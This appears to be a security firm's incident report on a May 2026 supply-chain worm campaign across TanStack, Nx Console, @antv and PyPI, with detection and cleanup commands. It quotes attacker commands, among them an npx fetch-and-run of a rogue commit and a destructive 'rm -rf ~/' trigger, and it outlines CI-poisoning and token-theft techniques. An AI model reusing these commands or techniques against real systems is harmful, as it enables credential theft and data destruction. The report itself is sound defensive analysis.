Black May Serial Attacks: The Full Story of the GitHub Breach

9 min readMay 22, 2026

Background

Starting in May 2026, after the well-known group TeamPCP open-sourced the Shai-Hulud source code, Shai-Hulud/Mini Shai-Hulud carried out coordinated attacks across multiple supply chain branches within approximately one week. The core logic was: first hijack “high-trust” release channels, then harvest developer and CI credentials, thereby spreading into adjacent ecosystems.

SlowMist continued to monitor the situation as it evolved. Subsequently, the question of “whether GitHub was compromised through Nx Console 18.95.0” entered public focus. Based on the publicly available evidence, Nx Console is a highly suspicious and critical hop currently under joint investigation.

Regarding the number of affected users: the 28 installations reported by Microsoft Marketplace to Nx differ by nearly two orders of magnitude from the approximately 6,000 VS Code extension activations observed through Nx telemetry — defense and incident response should therefore be planned around potential exposure at the scale of thousands, rather than being handled as only 28 users.

Shai-Hulud Evolution:

We attribute the TanStack incident and multiple related waves to TeamPCP (aliases: DeadCatx3, PCPcat, ShellForce, CipherForce).

Timeline:

2026–05–10 ~ 11: TanStack — Trusting CI Rather Than Stealing npm Tokens

Entry point (three-chain combination, none can be missing):

1.Pwn Request:
The attacker forked zblgg/configuration, and PR #7378 triggered bundle-size.yml via pull_request_target, executing forked code within the secure context of the base repository.

2.Actions cache poisoning:
A malicious cache of approximately 1.1GB was written into the same pnpm store cache key used by release.yml (the cache scope was shared between pull_request_target and main branch pushes; permissions: contents: read could not prevent cache post-job writes).

3.Runner memory extraction of OIDC:
When release.yml had id-token: write enabled, short-lived OIDC tokens were extracted from the memory of the Runner.Worker process (the technique originated from the March 2025 tj-actions/changed-files incident), allowing 84 releases to be completed (19:20–19:26 UTC) even while the workflow remained in a failure state.

Characteristics of the Malicious Packages:

Root-level router_init.js (approximately 2.3MB, triple-layer obfuscation; internal codename: EveryBoiWeBuildIsAWormyBoi).
optionalDependencies → github:tanstack/router#79ac49ee... as a standalone commit; prepare: bun run tanstack_runner.js && exit 1 (intentionally fails to hide logs).
Sigstore-verified SLSA Build Level 3 provenance — proving that the packages were “built by the TanStack release workflow,” not that the code itself was harmless.
Exfiltration: Session P2P (*.getsession.org), GitHub GraphQL dead drop (spoofed claude@users.noreply.github.com), and injection of codeql_analysis.yml.
Persistence: .claude/, .vscode/, and the gh-token-monitor dead-hand mechanism (the monitor must be removed before rotating tokens, otherwise it may execute rm -rf ~/).

This attack impacted:

42 @tanstack/* packages related to TanStack Router/Start; the worm further propagated to Mistral, UiPath, and others (approximately 170+ packages documented).

Not impacted:

Families such as @tanstack/query*, table*, and form*.

2026–05–18: Nx Console 18.95.0 — IDE Distribution Vector

Official Timeline:

Root Cause (Updated on 5/21):

An Nx developer was compromised through the TanStack-related supply chain attack, resulting in the leakage of GitHub CLI (gh) credentials; the attacker was then able to run workflows in the Nx GitHub repository as a contributor and publish the malicious extension.

Attack Chain:

The extension activate() function checks nxConsole.mcpExtensionInstalledSha; if it does not match, it launches a background task: npx -y github:nrwl/nx#558b09d7 (the task name is disguised as install-mcp-extension, with focus: false).
The standalone commit replaced the monorepo with only package.json + index.js (498KB obfuscated) + bun dependencies.
Payload: __DAEMONIZED daemon process; harvesting GitHub / npm / AWS / Vault / K8s / 1Password / Claude Code configurations, etc.
Exfiltration: HTTPS + GitHub API + DNS; includes Sigstore Fulcio/Rekor logic, enabling forged downstream npm provenance.
Persistence (macOS): ~/.local/share/kitty/cat.py + ~/Library/LaunchAgents/com.user.kitty-monitor.plist; C2 polling via api.github.com/search/commits?q=firedalazer (executes remote Python after RSA-PSS signature verification).

This attack shares the same TTPs as the 5/19 @antv wave: kitty-monitor, firedalazer, and extraction of Actions secrets from Runner /proc/*/mem.

2026–05–19: Same-Day Related Branches — @antv npm and PyPI durabletask

npm:

The maintainer atool npm account was compromised, resulting in the publication of 547+ malicious versions affecting the @antv ecosystem; the prop account was also compromised and used to publish 6 related packages; preinstall: bun run index.js; optionalDependencies: github:antvis/G2#1916faa...; C2 t.m-kosche.com (disguised as OpenTelemetry); GitHub dead-drop repository description reversed: Shai-Hulud: Here We Go Again.

PyPI:

durabletask versions 1.4.1–1.4.3 were poisoned. The Linux import-time dropper initially injected into __init__.py, and later versions expanded into additional modules, downloading and executing rope.pyz / /tmp/managed.pyz. This payload is an evolution of the earlier transformers.pyz Python branch. New capabilities: AWS SSM SendCommand, Kubernetes kubectl exec lateral propagation; actively attempts to unlock Bitwarden / 1Password.

Variant:

@cap-js/openapi 1.4.1 only pointed optionalDependencies to an attacker-controlled GitHub commit, with no malicious files inside the package tarball.

2026–05–19: GitHub Internal Repository Leak

GitHub disclosed that it was investigating unauthorized access to internal repositories; TeamPCP claimed approximately 4,000 private repositories.

Reports stated that the attack vector was a malicious VS Code extension on employee workstations.

The timing and techniques made Nx Console 18.95.0 the primary suspect.

Nx’s position (Jeff Cross): Nx is jointly investigating the impact with Microsoft and GitHub; it will not speculate beyond the known facts, nor downplay the severity of the incident.

Propagation Chain:

Key Points:

The GitHub corporate breach was not the starting point of the chain; the starting point was the collapse of the TanStack CI trust boundary on 5/11.
Nx Console was a downstream amplifier (2.2 million+ installs, verified publisher, executes upon opening).
The 5/19 @antv / PyPI incidents and Nx belonged to the same TeamPCP / Mini Shai-Hulud activity cluster, with the entry point being maintainer credentials rather than the TanStack CI system.

Shared Technical Fingerprints:

Why Did “Official + Provenance + Verified” Collectively Fail?

SLSA / Sigstore prove the identity of the build pipeline, not that the code executed by the workflow at that moment was trustworthy.

pull_request_target + Actions Cache remains a high-risk combination; it is necessary to audit whether forked code and base repository caches are properly isolated.

IDE extensions = locally high-privilege code; npx -y github:official-repo#standaloneSHA is extremely difficult for traditional dependency scanners to detect.
Reversed IR sequence: persistent or monitoring processes such as gh-token-monitor / kitty-monitor must be removed first, before revoking and rotating tokens.
A window of only minutes is sufficient: Nx remained available for approximately 18 minutes; the model targeted automatic updates + opening workspaces, without relying on long-term availability.

Response Checklist:

1. Confirm Exposure

# Nx Console version
code --list-extensions --show-versions | grep angular-console
# 18.95.0 = high risk; upgrade to >= 18.100.0

# Nx / Shai-Hulud persistence
ls ~/.local/share/kitty/cat.py 2>/dev/null
ls ~/Library/LaunchAgents/com.user.kitty-monitor.plist 2>/dev/null
ls /var/tmp/.gh_update_state 2>/dev/null
ls -d /tmp/kitty-* 2>/dev/null
pkill -f __DAEMONIZED
pkill -f "kitty-"
pkill -f "cat.py"

# TanStack
find . -name "router_init.js" -exec shasum -a 256 {} \;
# Compromised hash: ab4fcadaec49c03278063dd269ea5eef82d24f2124a8e15d7b90f2fa8601266c
find node_modules/@tanstack -name "package.json" | \
  xargs grep -l "voicproducoes\|79ac49eedf"

# @antv wave (lockfile / package.json)
find node_modules -name "index.js" -size +400k -type f 2>/dev/null
grep -r "1916faa365f2788b6e193514872d51a242876569\|7cb42f57561c321ecb09b4552802ae0ac55b3a7a" \
package-lock.json node_modules/ 2>/dev/null

2. Containment (first isolate and remove persistence; only rotate/revoke credentials after confirming malicious processes have stopped)

# macOS kitty-monitor
launchctl unload ~/Library/LaunchAgents/com.user.kitty-monitor.plist 2>/dev/null
rm -f ~/Library/LaunchAgents/com.user.kitty-monitor.plist
rm -f ~/.local/share/kitty/cat.py

# gh-token-monitor (TanStack / @antv)
launchctl unload ~/Library/LaunchAgents/com.user.gh-token-monitor.plist 2>/dev/null
systemctl --user stop gh-token-monitor.service 2>/dev/null
systemctl --user disable gh-token-monitor.service 2>/dev/null
rm -f ~/.config/systemd/user/gh-token-monitor.service
rm -f ~/.local/bin/gh-token-monitor.sh

# Kill processes
pkill -f 'cat\.py' 2>/dev/null
pkill -f __DAEMONIZED
# Check for the __DAEMONIZED environment variable and terminate the corresponding processes

3. Upgrade and Cleanup

Upgrade Nx Console to ≥ 18.100.0
Remove malicious versions of @tanstack/*, @antv/*, and durabletask; regenerate the lockfile from trusted metadata
Check whether the VS Code globalState key nxConsole.mcpExtensionInstalledSha is set to 558b09d7...
Remove the attacker-injected .github/workflows/codeql_analysis.yml (if it was not added by your own team)

4. Credential Rotation (after persistence removal)

Suggested priority order:

npm publishing credentials / OIDC → GitHub PAT and gh sessions → AWS / GCP → Vault → Kubernetes service accounts → SSH → password manager → ~/.claude/projects/*.jsonl

5. Organizational Hardening

npm Trusted Publisher: bind to a specific workflow + branch (do not rely only on repository: owner/repo)
Workflow-level id-token: none; only grant id-token: write in the publish job
Audit pull_request_target and cache usage; clean up Actions caches
Minimum release aging for extensions/packages (e.g., 48 hours) and malicious behavior detection for terminal extensions
DNS blocking: *.getsession.org, t.m-kosche.com, check.git-service.com, etc. (this does not replace host-level IoC cleanup)

Indicators of Compromise (Quick Check)

Nx Console 18.95.0：

TanStack 5/11：

@antv / 5/19：

Final Recommendations:

GitHub corporate breach ↔ Nx Console 18.95.0: strong temporal correlation and aligned payload objectives; investigation by Nx, Microsoft, and GitHub is ongoing. Jeff Cross stated that no speculation should be made before facts are confirmed, and the incident should be handled as a severe security event.
Nx is not the root cause: the chain originates from TanStack CI trust boundary compromise, Actions cache abuse, and OIDC memory extraction; without fixing CI trust boundaries, changing IDEs does not stop the attack chain.
Current status: the 5/19 @antv and PyPI incidents indicate the same toolchain is still evolving; coverage must include npm, VS Code/Cursor extensions, PyPI, and cloud control planes simultaneously.

Given the maturity of the attack chain and its wide propagation scope, further organizations and projects are expected to be affected. Immediate self-auditing is strongly recommended to prevent financial and operational losses.

This article is produced by the SlowMist Threat Intelligence Team, combined with the MistEye Threat Intelligence System and SlowMist Agent AI-driven analysis. Feedback and inquiries are welcome.

About SlowMist

SlowMist is a threat intelligence firm focused on blockchain security, established in January 2018. The firm was started by a team with over ten years of network security experience to become a global force. Our goal is to make the blockchain ecosystem as secure as possible for everyone. We are now a renowned international blockchain security firm that has worked on various well-known projects such as HashKey Exchange, OSL, MEEX, BGE, BTCBOX, Bitget, BHEX.SG, OKX, Binance, HTX, Amber Group, Crypto.com, etc.

SlowMist offers a variety of services that include but are not limited to security audits, threat information, defense deployment, security consultants, and other security-related services. We also offer AML (Anti-money laundering) software, MistEye (Security Monitoring), SlowMist Hacked (Crypto hack archives), FireWall.x (Smart contract firewall) and other SaaS products. We have partnerships with domestic and international firms such as Akamai, BitDefender, RC², TianJi Partners, IPIP, etc. Our extensive work in cryptocurrency crime investigations has been cited by international organizations and government bodies, including the United Nations Security Council and the United Nations Office on Drugs and Crime.

By delivering a comprehensive security solution customized to individual projects, we can identify risks and prevent them from occurring. Our team was able to find and publish several high-risk blockchain security flaws. By doing so, we could spread awareness and raise the security standards in the blockchain ecosystem.